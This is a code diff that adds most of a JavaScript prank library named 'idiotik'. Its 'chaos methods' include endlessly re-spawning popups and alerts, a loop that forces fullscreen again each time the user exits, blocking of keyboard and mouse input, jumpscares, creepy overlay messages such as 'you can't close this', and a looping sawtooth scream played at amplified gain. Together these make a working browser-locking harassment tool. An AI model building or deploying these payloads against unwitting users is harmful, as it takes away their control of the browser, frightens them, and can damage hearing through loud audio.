+      if (!ctx) return idiotik;
+      (ctx.intervals    || []).forEach(id => clearInterval(id));
+      (ctx.timeouts     || []).forEach(id => clearTimeout(id));
+      (ctx.audioSources || []).forEach(s => { try { s.stop(); } catch(e){} });
+      (ctx.htmlNodes    || []).forEach(n => { try { n.remove(); } catch(e){} });
+      delete _activeScripts[name];
+      return idiotik;
+    },
+
+    nuke() {
+      _recursive = false;
+      _recursionInited = false;
+      _taskQueue = [];
+      _globalIntervals.forEach(id => clearInterval(id));
+      _globalTimeouts.forEach(id => clearTimeout(id));
+      _globalNodes.forEach(n => { try { n.remove(); } catch(e){} });
+      _globalIntervals = []; _globalTimeouts = []; _globalNodes = [];
+      Object.keys(_activeScripts).forEach(k => idiotik.halt(k));
+      idiotik.cleareffects();
+      document.body.style.cssText = "";
+      document.body.style.cursor = "";
+      if (_audioCtx) { try { _audioCtx.close(); } catch(e){} _audioCtx = null; }
+      _spawnedWindows.forEach(w => { try { w.close(); } catch(e){} });
+      _spawnedWindows = [];
+      if (_globalNodes._observers) {
+        _globalNodes._observers.forEach(obs => { try { obs.disconnect(); } catch(e){} });
+        _globalNodes._observers = [];
+      }
+      console.log("%cidiotik: nuked. RIP.", "color:#ff4444;font-weight:bold;");
+      return idiotik;
+    },
+
+    status() {
+      console.log("%cidiotik STATUS", "color:#ff4444;font-weight:bold;font-size:14px;");
+      console.log("  recursive:", _recursive);
+      console.log("  volume:", _volume);
+      console.log("  popup:", _popup);
+      console.log("  active effects:", [..._activeEffects]);
+      console.log("  queued tasks:", _taskQueue.length);
+      console.log("  active scripts:", Object.keys(_activeScripts));
+      console.log("  spawned windows:", _spawnedWindows.filter(w => !w.closed).length);
+      return idiotik;
+    },
+
+    // ── CONDITIONAL ──────────────────────────────────────────────────────────
+
+    _ifResult: null,
+
+    if(condition) {
+      idiotik._ifResult = !!condition;
+      return {
+        then(fn) {
+          if (idiotik._ifResult) fn();
+          return { else(fn2) { if (!idiotik._ifResult) fn2(); return idiotik; } };
+        }
+      };
+    },
+
+    else(fn) {
+      if (!idiotik._ifResult) fn();
+      return idiotik;
+    },
+
+    random(...methods) {
+      const pick = methods[Math.floor(Math.random() * methods.length)];
+      if (typeof pick === "function") pick();
+      return idiotik;
+    },
+
+    // ── CHAOS METHODS ────────────────────────────────────────────────────────
+
+    say(msg) {
+      return function _say() {
+        if (_popup) {
+          const w = window.open("", "_blank", "width=300,height=150,toolbar=no,menubar=no,scrollbars=no,resizable=no");
+          if (w) {
+            w.document.write(`<html><body style="margin:0;display:flex;align-items:center;justify-content:center;height:100vh;font-family:Comic Sans MS,cursive;font-size:1.2rem;background:#fff;text-align:center;padding:1rem;">${msg}</body></html>`);
+            w.document.close();
+            if (_recursive) w.onload = () => setTimeout(_say, 100);
+            if (_recursive) setTimeout(_say, 100);
+          }
+        } else {
+          alert(msg);
+          if (_recursive) setTimeout(() => _say(), 0);
+        }
+      };
+    },
+
+    redirect(url) { return function() { window.location.href = url; }; },
+
+    freeze() {
+      return function() {
+        document.addEventListener("keydown",     e => e.preventDefault(), true);
+        document.addEventListener("mousedown",   e => e.preventDefault(), true);
+        document.addEventListener("contextmenu", e => e.preventDefault(), true);
+      };
+    },
+
+    fullscreen() {
+      return function _fs() {
+        const el = document.documentElement;
+        if (el.requestFullscreen) el.requestFullscreen();
+        else if (el.webkitRequestFullscreen) el.webkitRequestFullscreen();
+        document.addEventListener("fullscreenchange", () => {
+          if (!document.fullscreenElement && _recursive) setTimeout(_fs, 100);
+        });
+      };
+    },
+
+    jumpscare(imgUrl, sfxUrl) {
+      return function _js() {
+        const div = document.createElement("div");
+        div.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:99999;background:#000;display:flex;align-items:center;justify-content:center;";
+        const img = document.createElement("img");
+        img.src = imgUrl; img.style.cssText = "max-width:100%;max-height:100%;object-fit:contain;";
+        div.appendChild(img); document.body.appendChild(div); _track(div, "htmlNodes");
+        if (sfxUrl) _loadAndPlay(_parseAudioUrl(sfxUrl));
+        const ctx = _currentScript(); if (ctx) ctx.htmlNodes.push(div);
+        if (_recursive) setTimeout(() => { div.remove(); _js(); }, 1000);
+      };
+    },
+
+    scream() {
+      return function _scream() {
+        const ctx = _getAudioCtx();
+        const osc = ctx.createOscillator();
+        const gain = ctx.createGain();
+        osc.type = "sawtooth"; osc.frequency.value = 880;
+        osc.frequency.linearRampToValueAtTime(440, ctx.currentTime + 1);
+        osc.frequency.linearRampToValueAtTime(1760, ctx.currentTime + 2);
+        gain.gain.value = Math.min(_volume / 100, 10);
+        osc.connect(gain); gain.connect(ctx.destination);
+        osc.start(); setTimeout(() => osc.stop(), 2000);
+        if (_recursive) setTimeout(_scream, 2100);
+      };
+    },
+
+    noise(durationSec) {
+      const dur = durationSec || 1;
+      return function _noise() {
+        const source = _whiteNoise(dur);
+        source.start(); source.stop(_getAudioCtx().currentTime + dur);
+        if (_recursive) setTimeout(_noise, dur * 1000 + 100);
+      };
+    },
+
+    haunt() {
+      const msgs = ["👁️", "i see you", "leave.", "you can't close this", "help", "HA", "why", "🩸", "turn around"];
+      return function _haunt() {
+        const span = document.createElement("div");
+        span.textContent = msgs[Math.floor(Math.random() * msgs.length)];
+        span.style.cssText = `position:fixed;left:${Math.random()*90}vw;top:${Math.random()*90}vh;font-size:${16+Math.random()*40}px;color:rgba(255,0,0,${0.3+Math.random()*0.7});pointer-events:none;z-index:99990;font-family:serif;font-style:italic;transition:opacity 1s;text-shadow:0 0 10px red;`;
+        document.body.appendChild(span); _track(span, "htmlNodes");
+        setTimeout(() => { span.style.opacity = "0"; setTimeout(() => span.remove(), 1000); }, 1500);
+        if (_recursive) setTimeout(_haunt, 800 + Math.random() * 1200);
+      };
+    },
+
+    fakeCursor() {
+      return function() {
+        const cur = document.createElement("div");
+        cur.textContent = "🖱️";
+        cur.style.cssText = "position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;";
+        document.body.appendChild(cur); _track(cur, "htmlNodes");
+        let mx = 0, my = 0;
+        document.addEventListener("mousemove", e => { mx = e.clientX; my = e.clientY; });
+        _track(setInterval(() => {
+          cur.style.left = (mx + 15 + Math.sin(Date.now() / 200) * 10) + "px";
+          cur.style.top  = (my + 15 + Math.cos(Date.now() / 200) * 10) + "px";
+        }, 50), "intervals");
+      };
+    },
+
+    gravityWarp() {
+      return function _gw() {
+        [...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")]
+          .filter(e => e.children.length === 0 || e.tagName === "IMG")
+          .forEach(el => {
+            if (el.dataset.idiotikGravity) return;
+            el.dataset.idiotikGravity = "1";
+            const orig = el.style.transform; let vy = 0;
+            const id = setInterval(() => {
+              vy += 0.5;
+              const cur = parseFloat(el.dataset.gy || "0");
+              el.dataset.gy = cur + vy;
+              el.style.transform = `${orig} translateY(${cur}px) rotate(${cur * 0.1}deg)`;
+              if (cur > window.innerHeight * 1.5) clearInterval(id);
+            }, 50);
+          });
+        if (_recursive) setTimeout(_gw, 5000);
+      };
+    },
+
+    audio(urlOrFile) {
+      const parsed = _parseAudioUrl(urlOrFile);
+      return async function _audio() {
+        const source = await _loadAndPlay(parsed);
+        const ctx = _currentScript(); if (ctx) ctx.audioSources.push(source);
+        if (_recursive) source.addEventListener?.("ended", _audio);
+      };
+    },
+
+    effect(name) {
+      return function() {
+        if (_effectImpls[name]) { _activeEffects.add(name); _effectImpls[name](); }
+        else console.warn(`idiotik.effect: unknown effect "${name}"`);
+      };
+    },
+
+    cleareffects() {
+      _activeEffects.clear();
+      document.querySelectorAll("[id^='__idiotik_']").forEach(el => el.remove());
+      document.body.style.animation = "";
+      document.body.style.filter    = "";
+    },
+
+    cursor(preset) {
+      return function() {
+        const val = _cursorPresets[preset];
+        if (!val) { document.body.style.cursor = `url(${preset}), auto`; return; }
+        if (val === "__rainbow__") {
+          let h = 0;
+          _track(setInterval(() => {
+            const svg = `<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${h},100%,50%)'/></svg>`;
+            document.body.style.cursor = `url("data:image/svg+xml,${encodeURIComponent(svg)}"), auto`;
+            h = (h + 10) % 360;
+          }, 50), "intervals");
+        } else if (val === "__wiggle__") {
+          document.addEventListener("mousemove", () => {
+            const offset = Math.sin(Date.now() / 100) * 10;
+            document.body.style.cursor = `url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><text y='16' font-size='16'>👆</text></svg>") ${offset} 0, auto`;
+          });
+        } else if (val === "__explode__") {
+          document.addEventListener("click", e => {
+            for (let i = 0; i < 12; i++) {
+              const p = document.createElement("div");
+              p.textContent = ["💥","✨","⭐","🔥"][i % 4];
+              p.style.cssText = `position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`;
+              document.body.appendChild(p); _track(p, "htmlNodes");
+              const angle = (i / 12) * 2 * Math.PI;
+              setTimeout(() => { p.style.transform = `translate(${Math.cos(angle)*60}px,${Math.sin(angle)*60}px)`; p.style.opacity = "0"; }, 10);
+              setTimeout(() => p.remove(), 700);
+            }
+          });
+        } else if (val === "__ghost__") {
+          document.body.style.cursor = "none";
+          const ghost = document.createElement("div");
+          ghost.textContent = "👻";
+          ghost.style.cssText = "position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;";
+          document.body.appendChild(ghost); _track(ghost, "htmlNodes");
+          let gx = 0, gy = 0;
+          document.addEventListener("mousemove", e => { gx = e.clientX; gy = e.clientY; });
+          _track(setInterval(() => {
+            ghost.style.left = gx + "px"; ghost.style.top = gy + "px";
+            ghost.style.opacity = (0.5 + 0.5 * Math.sin(Date.now() / 300)).toString();
+          }, 50), "intervals");
+        } else if (val === "__eyes__") {
+          document.body.style.cursor = "none";
+          ["left:30vw", "left:60vw"].forEach(pos => {
+            const eye = document.createElement("div");
+            eye.style.cssText = `position:fixed;top:50vh;${pos};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`;
+            eye.textContent = "👁️"; document.body.appendChild(eye); _track(eye, "htmlNodes");
+          });
+          document.addEventListener("mousemove", e => {
+            document.querySelectorAll("[style*='👁️']").forEach(el => {
+              const rect = el.getBoundingClientRect();
+              const dx = e.clientX - (rect.left + rect.width / 2);
+              const dy = e.clientY - (rect.top  + rect.height / 2);
+              el.style.transform = `rotate(${Math.atan2(dy, dx)}rad)`;
+            });
+          });
+        } else {
+          document.body.style.cursor = val;
+        }
+      };
+    },
+
+  };
+
+  // ─── EXPORT ─────────────────────────────────────────────────────────────────
+  if (typeof module !== "undefined" && module.exports) {
+    module.exports = idiotik;
+  } else {
+    global.idiotik = idiotik;
+  }
+
+})(typeof window !== "undefined" ? window : global);